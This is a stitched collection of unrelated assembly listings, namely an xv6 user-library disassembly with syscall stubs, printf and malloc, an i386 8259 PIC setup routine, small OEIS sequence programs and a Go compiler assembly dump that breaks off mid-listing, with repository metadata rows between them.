26a: 0f be 11 movsbl (%ecx),%edx
26d: 8d 5a d0 lea -0x30(%edx),%ebx
270: 80 fb 09 cmp $0x9,%bl
273: 76 eb jbe 260 <atoi+0x20>
return n;
}
275: 5b pop %ebx
276: 5d pop %ebp
277: c3 ret
278: 90 nop
279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 56 push %esi
284: 53 push %ebx
285: 8b 5d 10 mov 0x10(%ebp),%ebx
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28e: 85 db test %ebx,%ebx
290: 7e 14 jle 2a6 <memmove+0x26>
292: 31 d2 xor %edx,%edx
294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
298: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
29c: 88 0c 10 mov %cl,(%eax,%edx,1)
29f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2a2: 39 d3 cmp %edx,%ebx
2a4: 75 f2 jne 298 <memmove+0x18>
return vdst;
}
2a6: 5b pop %ebx
2a7: 5e pop %esi
2a8: 5d pop %ebp
2a9: c3 ret
000002aa <fork>:
2aa: b8 01 00 00 00 mov $0x1,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <exit>:
2b2: b8 02 00 00 00 mov $0x2,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <wait>:
2ba: b8 03 00 00 00 mov $0x3,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <pipe>:
2c2: b8 04 00 00 00 mov $0x4,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <read>:
2ca: b8 05 00 00 00 mov $0x5,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <write>:
2d2: b8 10 00 00 00 mov $0x10,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <close>:
2da: b8 15 00 00 00 mov $0x15,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <kill>:
2e2: b8 06 00 00 00 mov $0x6,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <exec>:
2ea: b8 07 00 00 00 mov $0x7,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <open>:
2f2: b8 0f 00 00 00 mov $0xf,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <mknod>:
2fa: b8 11 00 00 00 mov $0x11,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <unlink>:
302: b8 12 00 00 00 mov $0x12,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <fstat>:
30a: b8 08 00 00 00 mov $0x8,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <link>:
312: b8 13 00 00 00 mov $0x13,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mkdir>:
31a: b8 14 00 00 00 mov $0x14,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <chdir>:
322: b8 09 00 00 00 mov $0x9,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <dup>:
32a: b8 0a 00 00 00 mov $0xa,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <getpid>:
332: b8 0b 00 00 00 mov $0xb,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <sbrk>:
33a: b8 0c 00 00 00 mov $0xc,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <sleep>:
342: b8 0d 00 00 00 mov $0xd,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <uptime>:
34a: b8 0e 00 00 00 mov $0xe,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <getreadcount>:
352: b8 16 00 00 00 mov $0x16,%eax
357: cd 40 int $0x40
359: c3 ret
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
369: 85 d2 test %edx,%edx
{
36b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
36e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
370: 79 76 jns 3e8 <printint+0x88>
372: f6 45 08 01 testb $0x1,0x8(%ebp)
376: 74 70 je 3e8 <printint+0x88>
x = -xx;
378: f7 d8 neg %eax
neg = 1;
37a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
381: 31 f6 xor %esi,%esi
383: 8d 5d d7 lea -0x29(%ebp),%ebx
386: eb 0a jmp 392 <printint+0x32>
388: 90 nop
389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
390: 89 fe mov %edi,%esi
392: 31 d2 xor %edx,%edx
394: 8d 7e 01 lea 0x1(%esi),%edi
397: f7 f1 div %ecx
399: 0f b6 92 88 07 00 00 movzbl 0x788(%edx),%edx
}while((x /= base) != 0);
3a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3a5: 75 e9 jne 390 <printint+0x30>
if(neg)
3a7: 8b 45 c4 mov -0x3c(%ebp),%eax
3aa: 85 c0 test %eax,%eax
3ac: 74 08 je 3b6 <printint+0x56>
buf[i++] = '-';
3ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3b3: 8d 7e 02 lea 0x2(%esi),%edi
3b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ba: 8b 7d c0 mov -0x40(%ebp),%edi
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3c3: 83 ec 04 sub $0x4,%esp
3c6: 83 ee 01 sub $0x1,%esi
3c9: 6a 01 push $0x1
3cb: 53 push %ebx
3cc: 57 push %edi
3cd: 88 45 d7 mov %al,-0x29(%ebp)
3d0: e8 fd fe ff ff call 2d2 <write>
while(--i >= 0)
3d5: 83 c4 10 add $0x10,%esp
3d8: 39 de cmp %ebx,%esi
3da: 75 e4 jne 3c0 <printint+0x60>
putc(fd, buf[i]);
}
3dc: 8d 65 f4 lea -0xc(%ebp),%esp
3df: 5b pop %ebx
3e0: 5e pop %esi
3e1: 5f pop %edi
3e2: 5d pop %ebp
3e3: c3 ret
3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ef: eb 90 jmp 381 <printint+0x21>
3f1: eb 0d jmp 400 <printf>
3f3: 90 nop
3f4: 90 nop
3f5: 90 nop
3f6: 90 nop
3f7: 90 nop
3f8: 90 nop
3f9: 90 nop
3fa: 90 nop
3fb: 90 nop
3fc: 90 nop
3fd: 90 nop
3fe: 90 nop
3ff: 90 nop
00000400 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
409: 8b 75 0c mov 0xc(%ebp),%esi
40c: 0f b6 1e movzbl (%esi),%ebx
40f: 84 db test %bl,%bl
411: 0f 84 b3 00 00 00 je 4ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
417: 8d 45 10 lea 0x10(%ebp),%eax
41a: 83 c6 01 add $0x1,%esi
state = 0;
41d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
41f: 89 45 d4 mov %eax,-0x2c(%ebp)
422: eb 2f jmp 453 <printf+0x53>
424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 0f 84 a7 00 00 00 je 4d8 <printf+0xd8>
write(fd, &c, 1);
431: 8d 45 e2 lea -0x1e(%ebp),%eax
434: 83 ec 04 sub $0x4,%esp
437: 88 5d e2 mov %bl,-0x1e(%ebp)
43a: 6a 01 push $0x1
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 8d fe ff ff call 2d2 <write>
445: 83 c4 10 add $0x10,%esp
448: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
44b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44f: 84 db test %bl,%bl
451: 74 77 je 4ca <printf+0xca>
if(state == 0){
453: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
455: 0f be cb movsbl %bl,%ecx
458: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
45b: 74 cb je 428 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45d: 83 ff 25 cmp $0x25,%edi
460: 75 e6 jne 448 <printf+0x48>
if(c == 'd'){
462: 83 f8 64 cmp $0x64,%eax
465: 0f 84 05 01 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
46b: 81 e1 f7 00 00 00 and $0xf7,%ecx
471: 83 f9 70 cmp $0x70,%ecx
474: 74 72 je 4e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
476: 83 f8 73 cmp $0x73,%eax
479: 0f 84 99 00 00 00 je 518 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47f: 83 f8 63 cmp $0x63,%eax
482: 0f 84 08 01 00 00 je 590 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 ef 00 00 00 je 580 <printf+0x180>
write(fd, &c, 1);
491: 8d 45 e7 lea -0x19(%ebp),%eax
494: 83 ec 04 sub $0x4,%esp
497: c6 45 e7 25 movb $0x25,-0x19(%ebp)
49b: 6a 01 push $0x1
49d: 50 push %eax
49e: ff 75 08 pushl 0x8(%ebp)
4a1: e8 2c fe ff ff call 2d2 <write>
4a6: 83 c4 0c add $0xc,%esp
4a9: 8d 45 e6 lea -0x1a(%ebp),%eax
4ac: 88 5d e6 mov %bl,-0x1a(%ebp)
4af: 6a 01 push $0x1
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ba: e8 13 fe ff ff call 2d2 <write>
for(i = 0; fmt[i]; i++){
4bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4c6: 84 db test %bl,%bl
4c8: 75 89 jne 453 <printf+0x53>
}
}
}
4ca: 8d 65 f4 lea -0xc(%ebp),%esp
4cd: 5b pop %ebx
4ce: 5e pop %esi
4cf: 5f pop %edi
4d0: 5d pop %ebp
4d1: c3 ret
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4d8: bf 25 00 00 00 mov $0x25,%edi
4dd: e9 66 ff ff ff jmp 448 <printf+0x48>
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e8: 83 ec 0c sub $0xc,%esp
4eb: b9 10 00 00 00 mov $0x10,%ecx
4f0: 6a 00 push $0x0
4f2: 8b 7d d4 mov -0x2c(%ebp),%edi
4f5: 8b 45 08 mov 0x8(%ebp),%eax
4f8: 8b 17 mov (%edi),%edx
4fa: e8 61 fe ff ff call 360 <printint>
ap++;
4ff: 89 f8 mov %edi,%eax
501: 83 c4 10 add $0x10,%esp
state = 0;
504: 31 ff xor %edi,%edi
ap++;
506: 83 c0 04 add $0x4,%eax
509: 89 45 d4 mov %eax,-0x2c(%ebp)
50c: e9 37 ff ff ff jmp 448 <printf+0x48>
511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
51b: 8b 08 mov (%eax),%ecx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
523: 85 c9 test %ecx,%ecx
525: 0f 84 8e 00 00 00 je 5b9 <printf+0x1b9>
while(*s != 0){
52b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
52e: 31 ff xor %edi,%edi
s = (char*)*ap;
530: 89 cb mov %ecx,%ebx
while(*s != 0){
532: 84 c0 test %al,%al
534: 0f 84 0e ff ff ff je 448 <printf+0x48>
53a: 89 75 d0 mov %esi,-0x30(%ebp)
53d: 89 de mov %ebx,%esi
53f: 8b 5d 08 mov 0x8(%ebp),%ebx
542: 8d 7d e3 lea -0x1d(%ebp),%edi
545: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
548: 83 ec 04 sub $0x4,%esp
s++;
54b: 83 c6 01 add $0x1,%esi
54e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
551: 6a 01 push $0x1
553: 57 push %edi
554: 53 push %ebx
555: e8 78 fd ff ff call 2d2 <write>
while(*s != 0){
55a: 0f b6 06 movzbl (%esi),%eax
55d: 83 c4 10 add $0x10,%esp
560: 84 c0 test %al,%al
562: 75 e4 jne 548 <printf+0x148>
564: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
567: 31 ff xor %edi,%edi
569: e9 da fe ff ff jmp 448 <printf+0x48>
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 73 ff ff ff jmp 4f2 <printf+0xf2>
57f: 90 nop
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 21 ff ff ff jmp 4b1 <printf+0xb1>
putc(fd, *ap);
590: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
593: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
596: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
598: 6a 01 push $0x1
ap++;
59a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
59d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5a0: 8d 45 e4 lea -0x1c(%ebp),%eax
5a3: 50 push %eax
5a4: ff 75 08 pushl 0x8(%ebp)
5a7: e8 26 fd ff ff call 2d2 <write>
ap++;
5ac: 89 7d d4 mov %edi,-0x2c(%ebp)
5af: 83 c4 10 add $0x10,%esp
state = 0;
5b2: 31 ff xor %edi,%edi
5b4: e9 8f fe ff ff jmp 448 <printf+0x48>
s = "(null)";
5b9: bb 7f 07 00 00 mov $0x77f,%ebx
while(*s != 0){
5be: b8 28 00 00 00 mov $0x28,%eax
5c3: e9 72 ff ff ff jmp 53a <printf+0x13a>
5c8: 66 90 xchg %ax,%ax
5ca: 66 90 xchg %ax,%ax
5cc: 66 90 xchg %ax,%ax
5ce: 66 90 xchg %ax,%ax
000005d0 <free>:
5d0: 55 push %ebp
5d1: a1 30 0a 00 00 mov 0xa30,%eax
5d6: 89 e5 mov %esp,%ebp
5d8: 57 push %edi
5d9: 56 push %esi
5da: 53 push %ebx
5db: 8b 5d 08 mov 0x8(%ebp),%ebx
5de: 8d 4b f8 lea -0x8(%ebx),%ecx
5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5e8: 39 c8 cmp %ecx,%eax
5ea: 8b 10 mov (%eax),%edx
5ec: 73 32 jae 620 <free+0x50>
5ee: 39 d1 cmp %edx,%ecx
5f0: 72 04 jb 5f6 <free+0x26>
5f2: 39 d0 cmp %edx,%eax
5f4: 72 32 jb 628 <free+0x58>
5f6: 8b 73 fc mov -0x4(%ebx),%esi
5f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fc: 39 fa cmp %edi,%edx
5fe: 74 30 je 630 <free+0x60>
600: 89 53 f8 mov %edx,-0x8(%ebx)
603: 8b 50 04 mov 0x4(%eax),%edx
606: 8d 34 d0 lea (%eax,%edx,8),%esi
609: 39 f1 cmp %esi,%ecx
60b: 74 3a je 647 <free+0x77>
60d: 89 08 mov %ecx,(%eax)
60f: a3 30 0a 00 00 mov %eax,0xa30
614: 5b pop %ebx
615: 5e pop %esi
616: 5f pop %edi
617: 5d pop %ebp
618: c3 ret
619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
620: 39 d0 cmp %edx,%eax
622: 72 04 jb 628 <free+0x58>
624: 39 d1 cmp %edx,%ecx
626: 72 ce jb 5f6 <free+0x26>
628: 89 d0 mov %edx,%eax
62a: eb bc jmp 5e8 <free+0x18>
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
630: 03 72 04 add 0x4(%edx),%esi
633: 89 73 fc mov %esi,-0x4(%ebx)
636: 8b 10 mov (%eax),%edx
638: 8b 12 mov (%edx),%edx
63a: 89 53 f8 mov %edx,-0x8(%ebx)
63d: 8b 50 04 mov 0x4(%eax),%edx
640: 8d 34 d0 lea (%eax,%edx,8),%esi
643: 39 f1 cmp %esi,%ecx
645: 75 c6 jne 60d <free+0x3d>
647: 03 53 fc add -0x4(%ebx),%edx
64a: a3 30 0a 00 00 mov %eax,0xa30
64f: 89 50 04 mov %edx,0x4(%eax)
652: 8b 53 f8 mov -0x8(%ebx),%edx
655: 89 10 mov %edx,(%eax)
657: 5b pop %ebx
658: 5e pop %esi
659: 5f pop %edi
65a: 5d pop %ebp
65b: c3 ret
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000660 <malloc>:
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 0c sub $0xc,%esp
669: 8b 45 08 mov 0x8(%ebp),%eax
66c: 8b 15 30 0a 00 00 mov 0xa30,%edx
672: 8d 78 07 lea 0x7(%eax),%edi
675: c1 ef 03 shr $0x3,%edi
678: 83 c7 01 add $0x1,%edi
67b: 85 d2 test %edx,%edx
67d: 0f 84 9d 00 00 00 je 720 <malloc+0xc0>
683: 8b 02 mov (%edx),%eax
685: 8b 48 04 mov 0x4(%eax),%ecx
688: 39 cf cmp %ecx,%edi
68a: 76 6c jbe 6f8 <malloc+0x98>
68c: 81 ff 00 10 00 00 cmp $0x1000,%edi
692: bb 00 10 00 00 mov $0x1000,%ebx
697: 0f 43 df cmovae %edi,%ebx
69a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6a1: eb 0e jmp 6b1 <malloc+0x51>
6a3: 90 nop
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6a8: 8b 02 mov (%edx),%eax
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 f9 cmp %edi,%ecx
6af: 73 47 jae 6f8 <malloc+0x98>
6b1: 39 05 30 0a 00 00 cmp %eax,0xa30
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x48>
6bb: 83 ec 0c sub $0xc,%esp
6be: 56 push %esi
6bf: e8 76 fc ff ff call 33a <sbrk>
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x88>
6cc: 89 58 04 mov %ebx,0x4(%eax)
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 f5 fe ff ff call 5d0 <free>
6db: 8b 15 30 0a 00 00 mov 0xa30,%edx
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x48>
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
6eb: 31 c0 xor %eax,%eax
6ed: 5b pop %ebx
6ee: 5e pop %esi
6ef: 5f pop %edi
6f0: 5d pop %ebp
6f1: c3 ret
6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
6f8: 39 cf cmp %ecx,%edi
6fa: 74 54 je 750 <malloc+0xf0>
6fc: 29 f9 sub %edi,%ecx
6fe: 89 48 04 mov %ecx,0x4(%eax)
701: 8d 04 c8 lea (%eax,%ecx,8),%eax
704: 89 78 04 mov %edi,0x4(%eax)
707: 89 15 30 0a 00 00 mov %edx,0xa30
70d: 8d 65 f4 lea -0xc(%ebp),%esp
710: 83 c0 08 add $0x8,%eax
713: 5b pop %ebx
714: 5e pop %esi
715: 5f pop %edi
716: 5d pop %ebp
717: c3 ret
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
720: c7 05 30 0a 00 00 34 movl $0xa34,0xa30
727: 0a 00 00
72a: c7 05 34 0a 00 00 34 movl $0xa34,0xa34
731: 0a 00 00
734: b8 34 0a 00 00 mov $0xa34,%eax
739: c7 05 38 0a 00 00 00 movl $0x0,0xa38
740: 00 00 00
743: e9 44 ff ff ff jmp 68c <malloc+0x2c>
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
750: 8b 08 mov (%eax),%ecx
752: 89 0a mov %ecx,(%edx)
754: eb b1 jmp 707 <malloc+0xa7>
| 35.254028 | 59 | 0.402764 | [
"MIT-0"
] | AhmedAmrMohamed/os-ass | ln.asm | 37,193 | Assembly |
ICW1 equ 00010001b ; ICW4 needed
ICW3_MASTER equ 00000100b
ICW3_SLAVE equ 00000010b
ICW4 equ 00000001b ; 8086/88 mode
PIC1 equ 0x20 ; IO base address for master 8259 PIC
PIC2 equ 0xa0 ; addr for slave PIC
PIC1_CMD equ PIC1
PIC1_DAT equ PIC1 + 1
PIC2_CMD equ PIC2
PIC2_DAT equ PIC2 + 1
PIC_EOI equ 0x20 ; byte to send to PIC CMD port to acknowledge end of interrupt
pic_init:
; https://www.eeeguide.com/programming-8259/
cli
; I will map the master PIC to 0x60+0:7 = 0110,0000b
; and the slave PIC to 0x70+0:7 = 0111,0000b (which is actually the default for it anyway)
mov al, ICW1
out PIC1_CMD, al
out PIC2_CMD, al
mov al, PIC_MASTER_OFFSET
out PIC1_DAT, al
mov al, PIC_SLAVE_OFFSET
out PIC2_DAT, al
mov al, ICW3_MASTER
out PIC1_DAT, al
mov al, ICW3_SLAVE
out PIC2_DAT, al
mov al, ICW4
out PIC1_DAT, al
out PIC2_DAT, al
; Set masks to only enable the keyboard and PIT
mov al, 11111100b
out PIC1_DAT, al
mov al, 0xff
out PIC2_DAT, al
mov al, 0xae
out 0x64, al
; Now both of the PICs are initialised correctly
sti
ret | 24.037736 | 94 | 0.613815 | [
"MIT"
] | SlumberousForests/octOs | subprojects/kernel/src/arch/i386/pic.asm | 1,274 | Assembly |
; A094025: Expansion of (1+3x)/((1-x^2)(1-3x^2)).
; 1,3,4,12,13,39,40,120,121,363,364,1092,1093,3279,3280,9840,9841,29523,29524,88572,88573,265719,265720,797160,797161,2391483,2391484,7174452,7174453,21523359,21523360,64570080,64570081,193710243,193710244
mov $1,$0
lpb $0
trn $0,2
add $2,1
add $1,$2
mov $2,$1
sub $1,$0
add $2,$1
lpe
add $1,1
| 25.5 | 205 | 0.683473 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/094/A094025.asm | 357 | Assembly |
; A082286: a(n) = 18*n + 10.
; 10,28,46,64,82,100,118,136,154,172,190,208,226,244,262,280,298,316,334,352,370,388,406,424,442,460,478,496,514,532,550,568,586,604,622,640,658,676,694,712,730,748,766,784,802,820,838,856,874,892,910,928,946,964,982,1000,1018,1036,1054,1072,1090,1108,1126,1144,1162,1180,1198,1216,1234,1252,1270,1288,1306,1324,1342,1360,1378,1396,1414,1432,1450,1468,1486,1504,1522,1540,1558,1576,1594,1612,1630,1648,1666,1684,1702,1720,1738,1756,1774,1792
mul $0,18
add $0,10
| 82 | 441 | 0.743902 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/082/A082286.asm | 492 | Assembly |
# command-line-arguments
"".Closures STEXT size=82 args=0x0 locals=0x18
0x0000 00000 (labels.go:5) TEXT "".Closures(SB), $24-0
0x0000 00000 (labels.go:5) MOVQ (TLS), CX
0x0009 00009 (labels.go:5) CMPQ SP, 16(CX)
0x000d 00013 (labels.go:5) JLS 75
0x000f 00015 (labels.go:5) SUBQ $24, SP
0x0013 00019 (labels.go:5) MOVQ BP, 16(SP)
0x0018 00024 (labels.go:5) LEAQ 16(SP), BP
0x001d 00029 (labels.go:5) FUNCDATA $0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:5) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:5) FUNCDATA $3, gclocals·9fb7f0986f647f17cb53dda1484e0f7a(SB)
0x001d 00029 (labels.go:6) PCDATA $2, $0
0x001d 00029 (labels.go:6) PCDATA $0, $0
0x001d 00029 (labels.go:6) CMPQ "".N(SB), $1
0x0025 00037 (labels.go:6) JNE 49
0x0027 00039 (<unknown line number>) PCDATA $2, $-2
0x0027 00039 (<unknown line number>) PCDATA $0, $-2
0x0027 00039 (<unknown line number>) MOVQ 16(SP), BP
0x002c 00044 (<unknown line number>) ADDQ $24, SP
0x0030 00048 (<unknown line number>) RET
0x0031 00049 (labels.go:7) PCDATA $2, $0
0x0031 00049 (labels.go:7) PCDATA $0, $0
0x0031 00049 (labels.go:7) MOVL $0, (SP)
0x0038 00056 (labels.go:7) PCDATA $2, $1
0x0038 00056 (labels.go:7) LEAQ "".Closures.func1·f(SB), AX
0x003f 00063 (labels.go:7) PCDATA $2, $0
0x003f 00063 (labels.go:7) MOVQ AX, 8(SP)
0x0044 00068 (labels.go:7) CALL runtime.newproc(SB)
0x0049 00073 (labels.go:7) JMP 39
0x004b 00075 (labels.go:7) NOP
0x004b 00075 (labels.go:5) PCDATA $0, $-1
0x004b 00075 (labels.go:5) PCDATA $2, $-1
0x004b 00075 (labels.go:5) CALL runtime.morestack_noctxt(SB)
0x0050 00080 (labels.go:5) JMP 0
0x0000 64 48 8b 0c 25 00 00 00 00 48 3b 61 10 76 3c 48 dH..%....H;a.v<H
0x0010 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 48 83 3d ...H.l$.H.l$.H.=
0x0020 00 00 00 00 01 75 0a 48 8b 6c 24 10 48 83 c4 18 .....u.H.l$.H...
0x0030 c3 c7 04 24 00 00 00 00 48 8d 05 00 00 00 00 48 ...$....H......H
0x0040 89 44 24 08 e8 00 00 00 00 eb dc e8 00 00 00 00 .D$.............
0x0050 eb ae ..
rel 5+4 t=16 TLS+0
rel 32+4 t=15 "".N+-1
rel 59+4 t=15 "".Closures.func1·f+0
rel 69+4 t=8 runtime.newproc+0
rel 76+4 t=8 runtime.morestack_noctxt+0
"".Closures_func1_1 STEXT size=81 args=0x0 locals=0x10
0x0000 00000 (labels.go:21) TEXT "".Closures_func1_1(SB), $16-0
0x0000 00000 (labels.go:21) MOVQ (TLS), CX
0x0009 00009 (labels.go:21) CMPQ SP, 16(CX)
0x000d 00013 (labels.go:21) JLS 74
0x000f 00015 (labels.go:21) SUBQ $16, SP
0x0013 00019 (labels.go:21) MOVQ BP, 8(SP)
0x0018 00024 (labels.go:21) LEAQ 8(SP), BP
0x001d 00029 (labels.go:21) FUNCDATA $0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:21) FUNCDATA $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:21) FUNCDATA $3, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
0x001d 00029 (labels.go:22) PCDATA $2, $0
0x001d 00029 (labels.go:22) PCDATA $0, $0
0x001d 00029 (labels.go:22) CMPQ "".N(SB), $1
0x0025 00037 (labels.go:22) JNE 49
0x0027 00039 (<unknown line number>) PCDATA $2, $-2
0x0027 00039 (<unknown line number>) PCDATA $0, $-2
0x0027 00039 (<unknown line number>) MOVQ 8(SP), BP
0x002c 00044 (<unknown line number>) ADDQ $16, SP
0x0030 00048 (<unknown line number>) RET
0x0031 00049 (labels.go:23) PCDATA $2, $0
0x0031 00049 (labels.go:23) PCDATA $0, $0
0x0031 00049 (labels.go:23) CALL runtime.printlock(SB)
0x0036 00054 (labels.go:23) MOVQ $1, (SP)
0x003e 00062 (labels.go:23) CALL runtime.printint(SB)
0x0043 00067 (labels.go:23) CALL runtime.printunlock(SB)
0x0048 00072 (labels.go:23) JMP 39
0x004a 00074 (labels.go:23) NOP
0x004a 00074 (labels.go:21) PCDATA $0, $-1
0x004a 00074 (labels.go:21) PCDATA $2, $-1
0x004a 00074 (labels.go:21) CALL runtime.morestack_noctxt(SB)
0x004f 00079 (labels.go:21) JMP 0
0x0000 64 48 8b 0c 25 00 00 00 00 48 3b 61 10 76 3b 48 dH..%....H;a.v;H
